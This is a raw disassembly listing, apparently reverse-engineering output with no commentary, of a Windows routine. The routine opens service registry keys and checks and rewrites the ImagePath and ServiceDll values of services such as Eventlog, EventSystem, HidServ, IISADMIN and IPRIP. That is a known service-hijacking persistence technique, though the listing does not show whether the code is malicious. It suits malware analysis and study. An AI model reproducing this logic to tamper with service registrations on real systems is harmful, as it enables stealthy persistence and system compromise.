lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ServiceDll
push ecx
call edi
test eax, eax
jne 0x4cfe3f
lea edx, [ebp - 0x134]
lea eax, [ebp - 0xfcc]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0xfcc]
push str._system32ersvc.dll
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4cfe6f
lea edx, [ebp - 0xfcc]
push str.System32ersvc.dll
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4cfe6f
push str._SystemRoot_System32ersvc.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ServiceDll
push eax
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x28], 1
jne 0x4d0065
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4cff66
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
test eax, eax
jne 0x4cff2c
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x3a4c]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x3a4c]
push str._system32_svchost.exe
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4cff5c
lea eax, [ebp - 0x3a4c]
push str.System32_svchost.exe
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4cff5c
push str._SystemRoot__system32_svchost.exe__k_netsvcs
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ImagePath
push ecx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
lea eax, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push eax
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d0065
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ServiceDll
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ServiceDll
push ecx
call edi
test eax, eax
jne 0x4d002b
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x10cc]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x10cc]
push str._system32ersvc.dll
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d005b
lea edx, [ebp - 0x10cc]
push str.System32ersvc.dll
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d005b
push str._SystemRoot_System32ersvc.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ServiceDll
push eax
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.EventSystem
call fcn.004fa6c0
mov esi, eax
lea edx, [ebp - 0x234]
push esi
push str.SYSTEMCurrentControlSetServices_s
push edx
call fcn.004f175f
mov eax, dword [ebp - 0x24]
add esp, 0x10
cmp eax, 1
je 0x4d00a3
mov ecx, dword [ebp - 0x28]
mov eax, 1
cmp ecx, eax
je 0x4d00a3
cmp dword [ebp - 0x2c], eax
jne 0x4d028a
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d0186
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
test eax, eax
jne 0x4d014c
lea ecx, [ebp - 0x134]
lea edx, [ebp - 0x454c]
push ecx
push 0x50d39c
push edx
call fcn.004f175f
lea eax, [ebp - 0x454c]
push str._system32_svchost.exe
push eax
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d017c
lea ecx, [ebp - 0x454c]
push str.System32_svchost.exe
push ecx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d017c
push str._SystemRoot__system32_svchost.exe__k_netsvcs
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [ebp - 0x14]
push 2
push eax
push str.ImagePath
push edx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
lea ecx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push ecx
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d0285
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ServiceDll
push ecx
call edi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ServiceDll
push edx
call edi
test eax, eax
jne 0x4d024b
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x11cc]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x11cc]
push str._system32es.dll
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d027b
lea eax, [ebp - 0x11cc]
push str.System32es.dll
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d027b
push str._SystemRoot_System32es.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ServiceDll
push ecx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
cmp dword [ebp - 0x30], eax
je 0x4d0298
cmp dword [ebp - 0x34], eax
jne 0x4d0492
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d037b
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
test eax, eax
jne 0x4d0341
lea ecx, [ebp - 0x134]
lea edx, [ebp - 0x3b4c]
push ecx
push 0x50d39c
push edx
call fcn.004f175f
lea eax, [ebp - 0x3b4c]
push str._system32_svchost.exe
push eax
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d0371
lea ecx, [ebp - 0x3b4c]
push str.System32_svchost.exe
push ecx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d0371
push str._SystemRoot__system32_svchost.exe__k_LocalService
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [ebp - 0x14]
push 2
push eax
push str.ImagePath
push edx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
lea ecx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push ecx
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d0492
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ServiceDll
push ecx
call edi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ServiceDll
push edx
call edi
test eax, eax
jne 0x4d0440
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x12cc]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x12cc]
push str._system32es.dll
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d0481
lea eax, [ebp - 0x12cc]
push str.System32es.dll
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d0481
push str._SystemRoot_System32es.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ServiceDll
push ecx
call ebx
mov edx, dword [ebp - 0x14]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push edx
mov esi, 1
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4d0497
mov edx, dword [ebp - 0x14]
mov esi, 1
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4d0497
mov esi, 1
push str.Eventlog
call fcn.004fa6c0
push eax
lea eax, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_s
push eax
call fcn.004f175f
mov eax, dword [ebp - 0x24]
add esp, 0x10
cmp eax, esi
je 0x4d04cb
cmp dword [ebp - 0x28], esi
je 0x4d04cb
cmp dword [ebp - 0x2c], esi
jne 0x4d05e1
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d05e1
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
test eax, eax
jne 0x4d0583
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x4d4c]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x4d4c]
push str._system32_services.exe
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d05d7
lea edx, [ebp - 0x4d4c]
push str.System32_services.exe
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d05d7
push str._SystemRoot__system32_services.exe
call fcn.004fa6c0
add esp, 4
jmp 0x4d05af
lea eax, [ebp - 0x2b8]
push str.services.exe
push eax
lea ecx, [ebp - 0x52cc]
push str._s_s
push ecx
call fcn.004f175f
lea edx, [ebp - 0x52cc]
push edx
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ImagePath
push eax
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, 1
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x30], esi
je 0x4d05ef
cmp dword [ebp - 0x34], esi
jne 0x4d0705
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d0705
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
test eax, eax
jne 0x4d06a7
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x13cc]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x13cc]
push str._system32_svchost.exe
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d06fb
lea eax, [ebp - 0x13cc]
push str.System32_svchost.exe
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d06fb
push str._SystemRoot__system32_svchost.exe__k_LocalServiceNetworkRestricted
call fcn.004fa6c0
add esp, 4
jmp 0x4d06d3
lea ecx, [ebp - 0x2b8]
push str.svchost.exe__k_LocalServiceNetworkRestricted
push ecx
lea edx, [ebp - 0x5bcc]
push str._s_s
push edx
call fcn.004f175f
lea eax, [ebp - 0x5bcc]
push eax
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ImagePath
push ecx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, 1
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x52d540
call fcn.004fa6c0
push eax
lea eax, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_s
push eax
call fcn.004f175f
mov eax, dword [ebp - 0x24]
add esp, 0x10
cmp eax, esi
je 0x4d0739
cmp dword [ebp - 0x28], esi
je 0x4d0739
cmp dword [ebp - 0x2c], esi
jne 0x4d084f
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d084f
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
test eax, eax
jne 0x4d07f1
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x3c4c]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x3c4c]
push str._system32_faxsvc.exe
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d0845
lea edx, [ebp - 0x3c4c]
push str.System32_faxsvc.exe
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d0845
push str._SystemRoot__system32_faxsvc.exe
call fcn.004fa6c0
add esp, 4
jmp 0x4d081d
lea eax, [ebp - 0x2b8]
push str.faxsvc.exe
push eax
lea ecx, [ebp - 0x53cc]
push str._s_s
push ecx
call fcn.004f175f
lea edx, [ebp - 0x53cc]
push edx
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ImagePath
push eax
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, 1
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x30], esi
je 0x4d085d
cmp dword [ebp - 0x34], esi
jne 0x4d096e
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d096e
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
test eax, eax
jne 0x4d0915
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x14cc]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x14cc]
push str._system32_fxssvc.exe
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d0964
lea eax, [ebp - 0x14cc]
push str.System32_fxssvc.exe
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d0964
push str._SystemRoot__system32_fxssvc.exe
call fcn.004fa6c0
add esp, 4
jmp 0x4d0941
lea ecx, [ebp - 0x2b8]
push str.fxssvc.exe
push ecx
lea edx, [ebp - 0x63cc]
push str._s_s
push edx
call fcn.004f175f
lea eax, [ebp - 0x63cc]
push eax
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ImagePath
push ecx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.HidServ
call fcn.004fa6c0
mov esi, eax
lea eax, [ebp - 0x234]
push esi
push str.SYSTEMCurrentControlSetServices_s
push eax
call fcn.004f175f
mov eax, dword [ebp - 0x24]
add esp, 0x10
cmp eax, 1
je 0x4d09ac
mov ecx, dword [ebp - 0x28]
mov eax, 1
cmp ecx, eax
je 0x4d09ac
cmp dword [ebp - 0x2c], eax
jne 0x4d0b93
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d0a8f
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
test eax, eax
jne 0x4d0a55
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x464c]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x464c]
push str._system32_svchost.exe
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d0a85
lea edx, [ebp - 0x464c]
push str.System32_svchost.exe
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d0a85
push str._SystemRoot__system32_svchost.exe__k_netsvcs
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ImagePath
push eax
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
lea edx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push edx
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d0b8e
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ServiceDll
push edx
call edi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ServiceDll
push eax
call edi
test eax, eax
jne 0x4d0b54
lea ecx, [ebp - 0x134]
lea edx, [ebp - 0x15cc]
push ecx
push 0x50d39c
push edx
call fcn.004f175f
lea eax, [ebp - 0x15cc]
push str._system32hidserv.dll
push eax
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d0b84
lea ecx, [ebp - 0x15cc]
push str.System32hidserv.dll
push ecx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d0b84
push str._SystemRoot_System32hidserv.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [ebp - 0x14]
push 2
push eax
push str.ServiceDll
push edx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
cmp dword [ebp - 0x30], eax
je 0x4d0ba1
cmp dword [ebp - 0x34], eax
jne 0x4d0d83
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d0c84
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ImagePath
push eax
call edi
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
test eax, eax
jne 0x4d0c4a
lea edx, [ebp - 0x134]
lea eax, [ebp - 0x3d4c]
push edx
push 0x50d39c
push eax
call fcn.004f175f
lea ecx, [ebp - 0x3d4c]
push str._system32_svchost.exe
push ecx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d0c7a
lea edx, [ebp - 0x3d4c]
push str.System32_svchost.exe
push edx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d0c7a
push str._SystemRoot__system32_svchost.exe__k_LocalSystemNetworkRestricted
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 2
push eax
mov eax, dword [ebp - 0x14]
push str.ImagePath
push eax
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
lea edx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_sParameters
push edx
mov byte [ebp - 0x234], 0
call fcn.004f175f
add esp, 0xc
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x234]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d0d83
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ServiceDll
push edx
call edi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
push edx
push 0
push str.ServiceDll
push eax
call edi
test eax, eax
jne 0x4d0d49
lea ecx, [ebp - 0x134]
lea edx, [ebp - 0x16cc]
push ecx
push 0x50d39c
push edx
call fcn.004f175f
lea eax, [ebp - 0x16cc]
push str._system32hidserv.dll
push eax
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d0d79
lea ecx, [ebp - 0x16cc]
push str.System32hidserv.dll
push ecx
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d0d79
push str._SystemRoot_System32hidserv.dll
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [ebp - 0x14]
push 2
push eax
push str.ServiceDll
push edx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.IISADMIN
call fcn.004fa6c0
push eax
lea ecx, [ebp - 0x234]
push str.SYSTEMCurrentControlSetServices_s
push ecx
call fcn.004f175f
mov ecx, dword [ebp - 0x24]
mov eax, 1
add esp, 0x10
cmp ecx, eax
je 0x4d0dbc
cmp dword [ebp - 0x28], eax
je 0x4d0dbc
cmp dword [ebp - 0x2c], eax
jne 0x4d0ecd
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x234]
push edx
push 0xf003f
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4d0ecd
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x134]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push edx
push eax
push 0
push str.ImagePath
push ecx
call edi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x134]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.ImagePath
push edx
call edi
test eax, eax
jne 0x4d0e74
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x4b4c]
push eax
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [ebp - 0x4b4c]
push str.inetsrvinetinfo.exe
push edx
call fcn.004f2d80
add esp, 0x14
test eax, eax
jne 0x4d0ec3
lea eax, [ebp - 0x4b4c]
push str._system32inetsrvinetinfo.exe
push eax
call fcn.004f2d80
add esp, 8
test eax, eax
jne 0x4d0ec3
push str._SystemRoot__system32inetsrvinetinfo.exe
call fcn.004fa6c0
add esp, 4
jmp 0x4d0ea0
lea ecx, [ebp - 0x2b8]
push str.inetsrvinetinfo.exe
push ecx
lea edx, [ebp - 0x54cc]
push str._s_s
push edx
call fcn.004f175f
lea eax, [ebp - 0x54cc]
push eax
call fcn.004fa6c0
add esp, 0x14
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push eax
push str.ImagePath
push ecx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.IPRIP
call fcn.004fa6c0
mov esi, eax
lea eax, [ebp - 0x234]
push esi
push str.SYSTEMCurrentControlSetServices_s
push eax
call fcn.004f175f
mov eax, dword [ebp - 0x24]
add esp, 0x10
cmp eax, 1
je 0x4d0f0b
mov ecx, dword [ebp - 0x28]
mov eax, 1
cmp ecx, eax
je 0x4d0f0b
cmp dword [ebp - 0x2c], eax
jne 0x4d1105
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x234]
